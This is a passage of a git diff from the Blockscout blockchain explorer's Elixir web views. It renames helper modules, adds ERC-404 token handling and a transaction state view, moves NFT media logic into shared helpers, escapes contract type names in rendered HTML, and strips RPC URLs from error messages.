    " - else - "#{value}" - end - end - defp tuple_array_to_array(value, type, names) do value |> Enum.map(fn item -> @@ -150,99 +157,20 @@ defmodule BlockScoutWeb.SmartContractView do end defp tuple_to_array(value, type, names) do - types_string = - type - |> String.slice(6..-2) - - types = - if String.trim(types_string) == "" do - [] - else - types_string - |> String.split(",") - end - - {tuple_types, _} = - types - |> Enum.reduce({[], nil}, fn val, acc -> - {arr, to_merge} = acc - - if to_merge do - if count_string_symbols(val)["]"] > count_string_symbols(val)["["] do - updated_arr = update_last_list_item(arr, val) - {updated_arr, !to_merge} - else - updated_arr = update_last_list_item(arr, val) - {updated_arr, to_merge} - end - else - if count_string_symbols(val)["["] > count_string_symbols(val)["]"] do - # credo:disable-for-next-line - {arr ++ [val], !to_merge} - else - # credo:disable-for-next-line - {arr ++ [val], to_merge} - end - end - end) - - values_list = - value - |> Tuple.to_list() - - values_types_list = Enum.zip(tuple_types, values_list) - - values_types_list + value + |> zip_tuple_values_with_types(type) |> Enum.with_index() |> Enum.map(fn {{type, value}, index} -> values_with_type(value, type, fetch_name(names, index), 0) end) end - defp update_last_list_item(arr, new_val) do - arr - |> Enum.with_index() - |> Enum.map(fn {item, index} -> - if index == Enum.count(arr) - 1 do - item <> "," <> new_val - else - item - end - end) - end - - defp count_string_symbols(str) do - str - |> String.graphemes() - |> Enum.reduce(%{"[" => 0, "]" => 0}, fn char, acc -> - Map.update(acc, char, 1, &(&1 + 1)) - end) - end - - defp binary_to_utf_string(item) do - case Integer.parse(to_string(item)) do - {item_integer, ""} -> - to_string(item_integer) - - _ -> - if is_binary(item) do - if String.starts_with?(item, "0x") do - item - else - "0x" <> Base.encode16(item, case: :lower) - end - else - to_string(item) - end - end - end - defp render_type_value(type, value, type) do - "
    (#{type}) : #{value}
    " + "
    (#{Helper.escape_minimal(type)}) : #{value}
    " end defp render_type_value(type, value, name) do - "
    #{name} (#{type}) : #{value}
    " + "
    #{Helper.escape_minimal(name)} (#{Helper.escape_minimal(type)}) : #{value}
    " end defp render_array_type_value(type, values, name) do @@ -251,7 +179,7 @@ defmodule BlockScoutWeb.SmartContractView do render_type_value(type, value_to_display, name) end - defp supplement_type_with_components(type, components) do + def supplement_type_with_components(type, components) do if type == "tuple" && components do types = components @@ -265,24 +193,29 @@ defmodule BlockScoutWeb.SmartContractView do end end - def decode_revert_reason(to_address, revert_reason) do - smart_contract = Chain.address_hash_to_smart_contract(to_address) + def decode_revert_reason(to_address, revert_reason, options \\ []) do + {smart_contract, _} = SmartContract.address_hash_to_smart_contract_with_bytecode_twin(to_address, options) Transaction.decoded_revert_reason( %Transaction{to_address: %{smart_contract: smart_contract}, hash: to_address}, - revert_reason + revert_reason, + options ) end - def decode_hex_revert_reason(hex_revert_reason) do - case Integer.parse(hex_revert_reason, 16) do - {number, ""} -> - :binary.encode_unsigned(number) + def not_last_element?(length, index), do: length > 1 and index < length - 1 - _ -> - hex_revert_reason - end - end + def cut_rpc_url(error) do + transport_options = Application.get_env(:explorer, :json_rpc_named_arguments)[:transport_options] - def not_last_element?(length, index), do: length > 1 and index < length - 1 + all_urls = + (transport_options[:urls] || []) ++ + (transport_options[:trace_urls] || []) ++ + (transport_options[:eth_call_urls] || []) ++ + (transport_options[:fallback_urls] || []) ++ + (transport_options[:fallback_trace_urls] || []) ++ + (transport_options[:fallback_eth_call_urls] || []) + + String.replace(error, Enum.reject(all_urls, &(&1 in [nil, ""])), "rpc_url") + end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tab_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/tab_helper.ex new file mode 100644 index 000000000000..8e2ec70997b2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/tab_helper.ex @@ -0,0 +1,70 @@ +defmodule BlockScoutWeb.TabHelper do + @moduledoc """ + Helper functions for dealing with tabs, which are very common between pages. + """ + + @doc """ + Get the current status of a tab by its name and the request path. + + A tab is considered active if its name responds true to active?/2. + + * returns the string "active" if the tab active. + * returns nil if the tab is not active. + + ## Examples + + iex> BlockScoutWeb.TabHelper.tab_status("token", "/page/0xSom3tH1ng/token") + "active" + + iex> BlockScoutWeb.TabHelper.tab_status("token", "/page/0xSom3tH1ng/token_transfer") + nil + """ + def tab_status(tab_name, request_path, show_token_transfers \\ false) do + if tab_active?(tab_name, request_path) do + "active" + else + case request_path do + "/tx/" <> "0x" <> <<_transaction_hash::binary-size(64)>> -> + tab_status_selector(tab_name, show_token_transfers) + + _ -> + nil + end + end + end + + defp tab_status_selector(tab_name, show_token_transfers) do + cond do + tab_name == "token-transfers" && show_token_transfers -> + "active" + + tab_name == "internal-transactions" && !show_token_transfers -> + "active" + + true -> + nil + end + end + + @doc """ + Check if the given tab is the current tab given the request path. + + It is considered active if there is a substring that exactly matches the tab name in the path. + + * returns true if the tab name is in the path. + * returns nil if the tab name is not in the path. + + ## Examples + + iex> BlockScoutWeb.TabHelper.tab_active?("token", "/page/0xSom3tH1ng/token") + true + + iex> BlockScoutWeb.TabHelper.tab_active?("token", "/page/0xSom3tH1ng/token_transfer") + false + """ + def tab_active?("transactions", "/address/" <> "0x" <> <<_address_hash::binary-size(40)>>), do: true + + def tab_active?(tab_name, request_path) do + String.match?(request_path, ~r/\/\b#{tab_name}\b/) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tab_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/tab_helpers.ex deleted file mode 100644 index f07e9924af6d..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/tab_helpers.ex +++ /dev/null @@ -1,66 +0,0 @@ -defmodule BlockScoutWeb.TabHelpers do - @moduledoc """ - Helper functions for dealing with tabs, which are very common between pages. - """ - - @doc """ - Get the current status of a tab by its name and the request path. - - A tab is considered active if its name responds true to active?/2. - - * returns the string "active" if the tab active. - * returns nil if the tab is not active. - - ## Examples - - iex> BlockScoutWeb.TabHelpers.tab_status("token", "/page/0xSom3tH1ng/token") - "active" - - iex> BlockScoutWeb.TabHelpers.tab_status("token", "/page/0xSom3tH1ng/token_transfer") - nil - """ - def tab_status(tab_name, request_path, show_token_transfers \\ false) do - if tab_active?(tab_name, request_path) do - "active" - else - case request_path do - "/tx/" <> "0x" <> <<_tx_hash::binary-size(64)>> -> - cond do - tab_name == "token-transfers" && show_token_transfers -> - "active" - - tab_name == "internal-transactions" && !show_token_transfers -> - "active" - - true -> - nil - end - - _ -> - nil - end - end - end - - @doc """ - Check if the given tab is the current tab given the request path. - - It is considered active if there is a substring that exactly matches the tab name in the path. - - * returns true if the tab name is in the path. - * returns nil if the tab name is not in the path. - - ## Examples - - iex> BlockScoutWeb.TabHelpers.tab_active?("token", "/page/0xSom3tH1ng/token") - true - - iex> BlockScoutWeb.TabHelpers.tab_active?("token", "/page/0xSom3tH1ng/token_transfer") - false - """ - def tab_active?("transactions", "/address/" <> "0x" <> <<_address_hash::binary-size(40)>>), do: true - - def tab_active?(tab_name, request_path) do - String.match?(request_path, ~r/\/\b#{tab_name}\b/) - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tokens/helper.ex b/apps/block_scout_web/lib/block_scout_web/views/tokens/helper.ex new file mode 100644 index 000000000000..b8757f444499 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/tokens/helper.ex @@ -0,0 +1,208 @@ +defmodule BlockScoutWeb.Tokens.Helper do + @moduledoc """ + Helper functions for interacting with `t:BlockScoutWeb.Chain.Token` attributes. + """ + + alias BlockScoutWeb.{AddressView, CurrencyHelper} + alias Explorer.Chain.{Address, Token} + + @doc """ + Returns the token transfers' amount according to the token's type and decimals. + + When the token's type is ERC-20, then we are going to format the amount according to the token's + decimals considering 0 when the decimals is nil. Case the amount is nil, this function will + return the symbol `--`. + + When the token's type is ERC-721, the function will return a string with the token_id that + represents the ERC-721 token since this kind of token doesn't have amount and decimals. + """ + def token_transfer_amount(%{ + token: token, + token_type: token_type, + amount: amount, + amounts: amounts, + token_ids: token_ids + }) do + do_token_transfer_amount(token, token_type, amount, amounts, token_ids) + end + + def token_transfer_amount(%{token: token, token_type: token_type, amount: amount, token_ids: token_ids}) do + do_token_transfer_amount(token, token_type, amount, nil, token_ids) + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount(%Token{type: "ERC-20"}, nil, nil, nil, _token_ids) do + {:ok, "--"} + end + + defp do_token_transfer_amount(_token, "ERC-20", nil, nil, _token_ids) do + {:ok, "--"} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount(%Token{type: "ERC-20", decimals: nil}, nil, amount, _amounts, _token_ids) do + {:ok, CurrencyHelper.format_according_to_decimals(amount, Decimal.new(0))} + end + + defp do_token_transfer_amount(%Token{decimals: nil}, "ERC-20", amount, _amounts, _token_ids) do + {:ok, CurrencyHelper.format_according_to_decimals(amount, Decimal.new(0))} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount(%Token{type: "ERC-20", decimals: decimals}, nil, amount, _amounts, _token_ids) do + {:ok, CurrencyHelper.format_according_to_decimals(amount, decimals)} + end + + defp do_token_transfer_amount(%Token{decimals: decimals}, "ERC-20", amount, _amounts, _token_ids) do + {:ok, CurrencyHelper.format_according_to_decimals(amount, decimals)} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount(%Token{type: "ERC-721"}, nil, _amount, _amounts, _token_ids) do + {:ok, :erc721_instance} + end + + defp do_token_transfer_amount(_token, "ERC-721", _amount, _amounts, _token_ids) do + {:ok, :erc721_instance} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount(%Token{type: type, decimals: decimals}, nil, amount, amounts, token_ids) + when type in ["ERC-1155", "ERC-404"] do + if amount do + {:ok, :erc1155_erc404_instance, CurrencyHelper.format_according_to_decimals(amount, decimals)} + else + {:ok, :erc1155_erc404_instance, amounts, token_ids, decimals} + end + end + + defp do_token_transfer_amount(%Token{decimals: decimals}, type, amount, amounts, token_ids) + when type in ["ERC-1155", "ERC-404"] do + if amount do + {:ok, :erc1155_erc404_instance, CurrencyHelper.format_according_to_decimals(amount, decimals)} + else + {:ok, :erc1155_erc404_instance, amounts, token_ids, decimals} + end + end + + defp do_token_transfer_amount(_token, _token_type, _amount, _amounts, _token_ids) do + nil + end + + def token_transfer_amount_for_api(%{ + token: token, + token_type: token_type, + amount: amount, + amounts: amounts, + token_ids: token_ids + }) do + do_token_transfer_amount_for_api(token, token_type, amount, amounts, token_ids) + end + + def token_transfer_amount_for_api(%{token: token, token_type: token_type, amount: amount, token_ids: token_ids}) do + do_token_transfer_amount_for_api(token, token_type, amount, nil, token_ids) + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount_for_api(%Token{type: "ERC-20"}, nil, nil, nil, _token_ids) do + {:ok, nil} + end + + defp do_token_transfer_amount_for_api(_token, "ERC-20", nil, nil, _token_ids) do + {:ok, nil} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount_for_api( + %Token{type: "ERC-20", decimals: decimals}, + nil, + amount, + _amounts, + _token_ids + ) do + {:ok, amount, decimals} + end + + defp do_token_transfer_amount_for_api( + %Token{decimals: decimals}, + "ERC-20", + amount, + _amounts, + _token_ids + ) do + {:ok, amount, decimals} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount_for_api(%Token{type: "ERC-721"}, nil, _amount, _amounts, _token_ids) do + {:ok, :erc721_instance} + end + + defp do_token_transfer_amount_for_api(_token, "ERC-721", _amount, _amounts, _token_ids) do + {:ok, :erc721_instance} + end + + # TODO: remove this clause along with token transfer denormalization + defp do_token_transfer_amount_for_api( + %Token{type: type, decimals: decimals}, + nil, + amount, + amounts, + token_ids + ) + when type in ["ERC-1155", "ERC-404"] do + if amount do + {:ok, :erc1155_erc404_instance, amount, decimals} + else + {:ok, :erc1155_erc404_instance, amounts, token_ids, decimals} + end + end + + defp do_token_transfer_amount_for_api( + %Token{decimals: decimals}, + type, + amount, + amounts, + token_ids + ) + when type in ["ERC-1155", "ERC-404"] do + if amount do + {:ok, :erc1155_erc404_instance, amount, decimals} + else + {:ok, :erc1155_erc404_instance, amounts, token_ids, decimals} + end + end + + defp do_token_transfer_amount_for_api(_token, _token_type, _amount, _amounts, _token_ids) do + nil + end + + @doc """ + Returns the token's symbol. + + When the token's symbol is nil, the function will return the contract address hash. + """ + def token_symbol(%Token{symbol: nil, contract_address_hash: address_hash}) do + AddressView.short_hash_left_right(address_hash) + end + + def token_symbol(%Token{symbol: symbol}) do + symbol + end + + @doc """ + Returns the token's name. + + When the token's name is nil, the function will return the contract address hash. + """ + def token_name(%Token{} = token), do: build_token_name(token) + def token_name(%Address.Token{} = address_token), do: build_token_name(address_token) + + defp build_token_name(%{name: nil, contract_address_hash: address_hash}) do + AddressView.short_hash_left_right(address_hash) + end + + defp build_token_name(%{name: name}) do + name + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tokens/helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/tokens/helpers.ex deleted file mode 100644 index 7b8d3276d63a..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/tokens/helpers.ex +++ /dev/null @@ -1,83 +0,0 @@ -defmodule BlockScoutWeb.Tokens.Helpers do - @moduledoc """ - Helper functions for interacting with `t:BlockScoutWeb.Chain.Token` attributes. - """ - - alias BlockScoutWeb.{AddressView, CurrencyHelpers} - alias Explorer.Chain.{Address, Token} - - @doc """ - Returns the token transfers' amount according to the token's type and decimals. - - When the token's type is ERC-20, then we are going to format the amount according to the token's - decimals considering 0 when the decimals is nil. Case the amount is nil, this function will - return the symbol `--`. - - When the token's type is ERC-721, the function will return a string with the token_id that - represents the ERC-721 token since this kind of token doesn't have amount and decimals. - """ - def token_transfer_amount(%{token: token, amount: amount, amounts: amounts, token_id: token_id, token_ids: token_ids}) do - do_token_transfer_amount(token, amount, amounts, token_id, token_ids) - end - - def token_transfer_amount(%{token: token, amount: amount, token_id: token_id}) do - do_token_transfer_amount(token, amount, nil, token_id, nil) - end - - defp do_token_transfer_amount(%Token{type: "ERC-20"}, nil, nil, _token_id, _token_ids) do - {:ok, "--"} - end - - defp do_token_transfer_amount(%Token{type: "ERC-20", decimals: nil}, amount, _amounts, _token_id, _token_ids) do - {:ok, CurrencyHelpers.format_according_to_decimals(amount, Decimal.new(0))} - end - - defp do_token_transfer_amount(%Token{type: "ERC-20", decimals: decimals}, amount, _amounts, _token_id, _token_ids) do - {:ok, CurrencyHelpers.format_according_to_decimals(amount, decimals)} - end - - defp do_token_transfer_amount(%Token{type: "ERC-721"}, _amount, _amounts, _token_id, _token_ids) do - {:ok, :erc721_instance} - end - - defp do_token_transfer_amount(%Token{type: "ERC-1155", decimals: decimals}, amount, amounts, _token_id, token_ids) do - if amount do - {:ok, :erc1155_instance, CurrencyHelpers.format_according_to_decimals(amount, decimals)} - else - {:ok, :erc1155_instance, amounts, token_ids, decimals} - end - end - - defp do_token_transfer_amount(_token, _amount, _amounts, _token_id, _token_ids) do - nil - end - - @doc """ - Returns the token's symbol. - - When the token's symbol is nil, the function will return the contract address hash. - """ - def token_symbol(%Token{symbol: nil, contract_address_hash: address_hash}) do - AddressView.short_hash_left_right(address_hash) - end - - def token_symbol(%Token{symbol: symbol}) do - symbol - end - - @doc """ - Returns the token's name. - - When the token's name is nil, the function will return the contract address hash. - """ - def token_name(%Token{} = token), do: build_token_name(token) - def token_name(%Address.Token{} = address_token), do: build_token_name(address_token) - - defp build_token_name(%{name: nil, contract_address_hash: address_hash}) do - AddressView.short_hash_left_right(address_hash) - end - - defp build_token_name(%{name: name}) do - name - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tokens/holder_view.ex b/apps/block_scout_web/lib/block_scout_web/views/tokens/holder_view.ex index 2edfd9398119..e916a69fe2b7 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/tokens/holder_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/tokens/holder_view.ex @@ -2,7 +2,7 @@ defmodule BlockScoutWeb.Tokens.HolderView do use BlockScoutWeb, :view alias BlockScoutWeb.Tokens.OverviewView - alias Explorer.Chain.Token + alias Explorer.Chain.{Address, Token} @doc """ Checks if the total supply percentage must be shown. @@ -70,6 +70,16 @@ defmodule BlockScoutWeb.Tokens.HolderView do to_string(format_according_to_decimals(value, decimals)) <> " TokenID " <> to_string(id) end + def format_token_balance_value(value, id, %Token{type: "ERC-404", decimals: decimals}) do + base = to_string(format_according_to_decimals(value, decimals)) + + if id do + base <> " TokenID " <> to_string(id) + else + base + end + end + def format_token_balance_value(value, _id, _token) do value end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tokens/instance/overview_view.ex b/apps/block_scout_web/lib/block_scout_web/views/tokens/instance/overview_view.ex index 2da0d1e63e42..717353e05c68 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/tokens/instance/overview_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/tokens/instance/overview_view.ex @@ -1,15 +1,14 @@ defmodule BlockScoutWeb.Tokens.Instance.OverviewView do use BlockScoutWeb, :view - alias BlockScoutWeb.CurrencyHelpers + alias BlockScoutWeb.NFTHelper alias Explorer.Chain - alias Explorer.Chain.{Address, SmartContract, Token} + alias Explorer.Chain.{Address, CurrencyHelper, SmartContract, Token} alias Explorer.SmartContract.Helper - alias FileInfo - alias MIME - alias Path + alias Utils.TokenInstanceHelper - import BlockScoutWeb.APIDocsView, only: [blockscout_url: 1, blockscout_url: 2] + import BlockScoutWeb.APIDocsView, only: [blockscout_url: 1] + import BlockScoutWeb.NFTHelper, only: [external_url: 1] @tabs ["token-transfers", "metadata"] @stub_image "/images/controller.svg" @@ -27,100 +26,29 @@ defmodule BlockScoutWeb.Tokens.Instance.OverviewView do def media_src(nil, _), do: @stub_image def media_src(instance, high_quality_media?) do - result = get_media_src(instance.metadata, high_quality_media?) - - if String.trim(result) == "", do: media_src(nil), else: result - end - - defp get_media_src(nil, _), do: media_src(nil) - - defp get_media_src(metadata, high_quality_media?) do - cond do - metadata["animation_url"] && high_quality_media? -> - retrieve_image(metadata["animation_url"]) - - metadata["image_url"] -> - retrieve_image(metadata["image_url"]) - - metadata["image"] -> - retrieve_image(metadata["image"]) - - metadata["properties"]["image"]["description"] -> - metadata["properties"]["image"]["description"] - - true -> - media_src(nil) - end + NFTHelper.get_media_src(instance.metadata, high_quality_media?) || media_src(nil) end - def media_type(media_src) when not is_nil(media_src) do - ext = media_src |> Path.extname() |> String.trim() - - mime_type = - if ext == "" do - case HTTPoison.get(media_src) do - {:ok, %HTTPoison.Response{body: body, status_code: 200}} -> - {:ok, path} = Briefly.create() - - File.write!(path, body) - - case FileInfo.get_info([path]) do - %{^path => %FileInfo.Mime{subtype: subtype}} -> - subtype - |> MIME.type() - - _ -> - nil - end - - _ -> - nil - end - else - ext_with_dot = - media_src - |> Path.extname() - - "." <> ext = ext_with_dot - - ext - |> MIME.type() - end - - if mime_type do - basic_mime_type = mime_type |> String.split("/") |> Enum.at(0) + def media_type(media_src) do + case TokenInstanceHelper.media_type(media_src) do + {type, _} -> + type - basic_mime_type - else - nil + other -> + other end end - def media_type(nil), do: nil - - def external_url(nil), do: nil - - def external_url(instance) do - result = - if instance.metadata && instance.metadata["external_url"] do - instance.metadata["external_url"] - else - external_url(nil) - end - - if !result || (result && String.trim(result)) == "", do: external_url(nil), else: result - end - def total_supply_usd(token) do - tokens = CurrencyHelpers.divide_decimals(token.total_supply, token.decimals) - price = token.usd_value + tokens = CurrencyHelper.divide_decimals(token.total_supply, token.decimals) + price = token.fiat_value Decimal.mult(tokens, price) end def smart_contract_with_read_only_functions?( %Token{contract_address: %Address{smart_contract: %SmartContract{}}} = token ) do - Enum.any?(token.contract_address.smart_contract.abi, &Helper.queriable_method?(&1)) + Enum.any?(token.contract_address.smart_contract.abi || [], &Helper.queryable_method?(&1)) end def smart_contract_with_read_only_functions?(%Token{contract_address: %Address{smart_contract: nil}}), do: false @@ -128,24 +56,7 @@ defmodule BlockScoutWeb.Tokens.Instance.OverviewView do def qr_code(conn, token_id, hash) do token_instance_path = token_instance_path(conn, :show, to_string(hash), to_string(token_id)) - url_params = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url] - api_path = url_params[:api_path] - path = url_params[:path] - - url_prefix = - if String.length(path) > 0 && path != "/" do - set_path = false - blockscout_url(set_path) - else - if String.length(api_path) > 0 && api_path != "/" do - is_api = true - set_path = true - blockscout_url(set_path, is_api) - else - set_path = false - blockscout_url(set_path) - end - end + url_prefix = blockscout_url(false) url = Path.join(url_prefix, token_instance_path) @@ -160,38 +71,6 @@ defmodule BlockScoutWeb.Tokens.Instance.OverviewView do |> tab_name() end - defp retrieve_image(image) when is_nil(image), do: @stub_image - - defp retrieve_image(image) when is_map(image) do - image["description"] - end - - defp retrieve_image(image) when is_list(image) do - image_url = image |> Enum.at(0) - retrieve_image(image_url) - end - - defp retrieve_image(image_url) do - image_url - |> URI.encode() - |> compose_ipfs_url() - end - - defp compose_ipfs_url(image_url) do - cond do - image_url =~ ~r/^ipfs:\/\/ipfs/ -> - "ipfs://ipfs" <> ipfs_uid = image_url - "https://ipfs.io/ipfs/" <> ipfs_uid - - image_url =~ ~r/^ipfs:\/\// -> - "ipfs://" <> ipfs_uid = image_url - "https://ipfs.io/ipfs/" <> ipfs_uid - - true -> - image_url - end - end - defp tab_name(["token-transfers"]), do: gettext("Token Transfers") defp tab_name(["metadata"]), do: gettext("Metadata") end diff --git a/apps/block_scout_web/lib/block_scout_web/views/tokens/overview_view.ex b/apps/block_scout_web/lib/block_scout_web/views/tokens/overview_view.ex index e258938f1b95..d9dbe6e265de 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/tokens/overview_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/tokens/overview_view.ex @@ -1,13 +1,13 @@ defmodule BlockScoutWeb.Tokens.OverviewView do use BlockScoutWeb, :view - alias Explorer.{Chain, CustomContractsHelpers} - alias Explorer.Chain.{Address, SmartContract, Token} + alias BlockScoutWeb.{AccessHelper, LayoutView} + alias Explorer.{Chain, CustomContractsHelper} + alias Explorer.Chain.{Address, CurrencyHelper, SmartContract, Token} + alias Explorer.Chain.SmartContract.Proxy alias Explorer.SmartContract.{Helper, Writer} - alias BlockScoutWeb.{AccessHelpers, CurrencyHelpers, LayoutView} - - import BlockScoutWeb.AddressView, only: [from_address_hash: 1] + import BlockScoutWeb.AddressView, only: [from_address_hash: 1, contract_interaction_disabled?: 0] @tabs ["token-transfers", "token-holders", "read-contract", "inventory"] @@ -43,29 +43,33 @@ defmodule BlockScoutWeb.Tokens.OverviewView do def display_inventory?(%Token{type: "ERC-721"}), do: true def display_inventory?(%Token{type: "ERC-1155"}), do: true + def display_inventory?(%Token{type: "ERC-404"}), do: true def display_inventory?(_), do: false def smart_contract_with_read_only_functions?( %Token{contract_address: %Address{smart_contract: %SmartContract{}}} = token ) do - Enum.any?(token.contract_address.smart_contract.abi, &Helper.queriable_method?(&1)) + Enum.any?(token.contract_address.smart_contract.abi || [], &Helper.queryable_method?(&1)) end def smart_contract_with_read_only_functions?(%Token{contract_address: %Address{smart_contract: nil}}), do: false - def smart_contract_is_proxy?(%Token{contract_address: %Address{smart_contract: %SmartContract{}} = address}) do - Chain.proxy_contract?(address.hash, address.smart_contract.abi) + def token_smart_contract_is_proxy?(%Token{ + contract_address: %Address{smart_contract: %SmartContract{} = smart_contract} + }) do + Proxy.proxy_contract?(smart_contract) end - def smart_contract_is_proxy?(%Token{contract_address: %Address{smart_contract: nil}}), do: false + def token_smart_contract_is_proxy?(%Token{contract_address: %Address{smart_contract: nil}}), do: false def smart_contract_with_write_functions?(%Token{ contract_address: %Address{smart_contract: %SmartContract{}} = address }) do - Enum.any?( - address.smart_contract.abi, - &Writer.write_function?(&1) - ) + !contract_interaction_disabled?() && + Enum.any?( + address.smart_contract.abi || [], + &Writer.write_function?(&1) + ) end def smart_contract_with_write_functions?(%Token{contract_address: %Address{smart_contract: nil}}), do: false @@ -77,8 +81,8 @@ defmodule BlockScoutWeb.Tokens.OverviewView do if Map.has_key?(token, :custom_cap) && token.custom_cap do token.custom_cap else - tokens = CurrencyHelpers.divide_decimals(token.total_supply, token.decimals) - price = token.usd_value + tokens = CurrencyHelper.divide_decimals(token.total_supply, token.decimals) + price = token.fiat_value Decimal.mult(tokens, price) end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/transaction_log_view.ex b/apps/block_scout_web/lib/block_scout_web/views/transaction_log_view.ex index e494bbd88934..1a7357a82e9a 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/transaction_log_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/transaction_log_view.ex @@ -2,10 +2,6 @@ defmodule BlockScoutWeb.TransactionLogView do use BlockScoutWeb, :view @dialyzer :no_match - alias Explorer.Chain.Log - import BlockScoutWeb.AddressView, only: [implementation_name: 1, primary_name: 1] - - def decode(log, transaction) do - Log.decode(log, transaction) - end + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + import BlockScoutWeb.AddressView, only: [decode: 2, primary_name: 1] end diff --git a/apps/block_scout_web/lib/block_scout_web/views/transaction_raw_trace_view.ex b/apps/block_scout_web/lib/block_scout_web/views/transaction_raw_trace_view.ex index 3adab1697416..09fd46168b29 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/transaction_raw_trace_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/transaction_raw_trace_view.ex @@ -2,15 +2,12 @@ defmodule BlockScoutWeb.TransactionRawTraceView do use BlockScoutWeb, :view @dialyzer :no_match - alias Explorer.Chain.InternalTransaction - def render("scripts.html", %{conn: conn}) do render_scripts(conn, "raw-trace/code_highlighting.js") end - def raw_traces_with_lines(internal_transactions) do - internal_transactions - |> InternalTransaction.internal_transactions_to_raw() + def raw_traces_with_lines(raw_traces) do + raw_traces |> Jason.encode!(pretty: true) |> String.split("\n") |> Enum.with_index(1) diff --git a/apps/block_scout_web/lib/block_scout_web/views/transaction_state_view.ex b/apps/block_scout_web/lib/block_scout_web/views/transaction_state_view.ex new file mode 100644 index 000000000000..88fc2098312b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/transaction_state_view.ex @@ -0,0 +1,40 @@ +defmodule BlockScoutWeb.TransactionStateView do + use BlockScoutWeb, :view + + alias Explorer.Chain + alias Explorer.Chain.{Address, Wei} + + import Explorer.Chain.Transaction.StateChange, only: [from_loss: 1, has_diff?: 1, to_profit: 1] + + def not_negative?(%Wei{value: val}) do + not Decimal.negative?(val) + end + + def not_negative?(val) do + not Decimal.negative?(val) + end + + def absolute_value_of(%Wei{value: val}) do + %Wei{value: Decimal.abs(val)} + end + + def absolute_value_of(val) do + Decimal.abs(val) + end + + def has_state_changes?(transaction) do + has_diff?(from_loss(transaction)) or has_diff?(to_profit(transaction)) + end + + def display_value(balance, :coin, _token_id) do + format_wei_value(balance, :ether) + end + + def display_value(balance, token_transfer, token_id) do + render("_token_balance.html", transfer: token_transfer, balance: balance, token_id: token_id) + end + + def display_erc_721(token_transfer) do + render(BlockScoutWeb.TransactionView, "_total_transfers.html", transfer: token_transfer) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/transaction_token_transfer_view.ex b/apps/block_scout_web/lib/block_scout_web/views/transaction_token_transfer_view.ex index 66999ad804fc..3e31c0f2c351 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/transaction_token_transfer_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/transaction_token_transfer_view.ex @@ -2,4 +2,5 @@ defmodule BlockScoutWeb.TransactionTokenTransferView do use BlockScoutWeb, :view alias Explorer.Chain + alias Explorer.Chain.Address end diff --git a/apps/block_scout_web/lib/block_scout_web/views/transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/transaction_view.ex index 31d9feffff5a..f5dcb2c6a717 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/transaction_view.ex @@ -1,20 +1,21 @@ defmodule BlockScoutWeb.TransactionView do use BlockScoutWeb, :view - alias BlockScoutWeb.{AccessHelpers, AddressView, BlockView, TabHelpers} + alias BlockScoutWeb.{AccessHelper, AddressView, BlockView, TabHelper} + alias BlockScoutWeb.Account.AuthController alias BlockScoutWeb.Cldr.Number - alias Explorer.{Chain, CustomContractsHelpers, Repo} + alias Explorer.{Chain, CustomContractsHelper, Repo} alias Explorer.Chain.Block.Reward alias Explorer.Chain.{Address, Block, InternalTransaction, Transaction, Wei} - alias Explorer.Counters.AverageBlockTime - alias Explorer.ExchangeRates.Token + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Market.Token alias Timex.Duration - import BlockScoutWeb.Gettext - import BlockScoutWeb.AddressView, only: [from_address_hash: 1, short_token_id: 2] - import BlockScoutWeb.Tokens.Helpers + use Gettext, backend: BlockScoutWeb.Gettext + import BlockScoutWeb.AddressView, only: [from_address_hash: 1, short_token_id: 2, tag_name_to_label: 1] + import BlockScoutWeb.Tokens.Helper - @tabs ["token-transfers", "internal-transactions", "logs", "raw-trace"] + @tabs ["token-transfers", "internal-transactions", "logs", "raw-trace", "state"] @token_burning_title "Token Burning" @token_minting_title "Token Minting" @@ -31,11 +32,13 @@ defmodule BlockScoutWeb.TransactionView do defdelegate formatted_timestamp(block), to: BlockView def block_number(%Transaction{block_number: nil}), do: gettext("Block Pending") - def block_number(%Transaction{block: block}), do: [view_module: BlockView, partial: "_link.html", block: block] + + def block_number(%Transaction{block_number: number, block_hash: hash}), + do: [view_module: BlockView, partial: "_link.html", block: %Block{number: number, hash: hash}] + def block_number(%Reward{block: block}), do: [view_module: BlockView, partial: "_link.html", block: block] - def 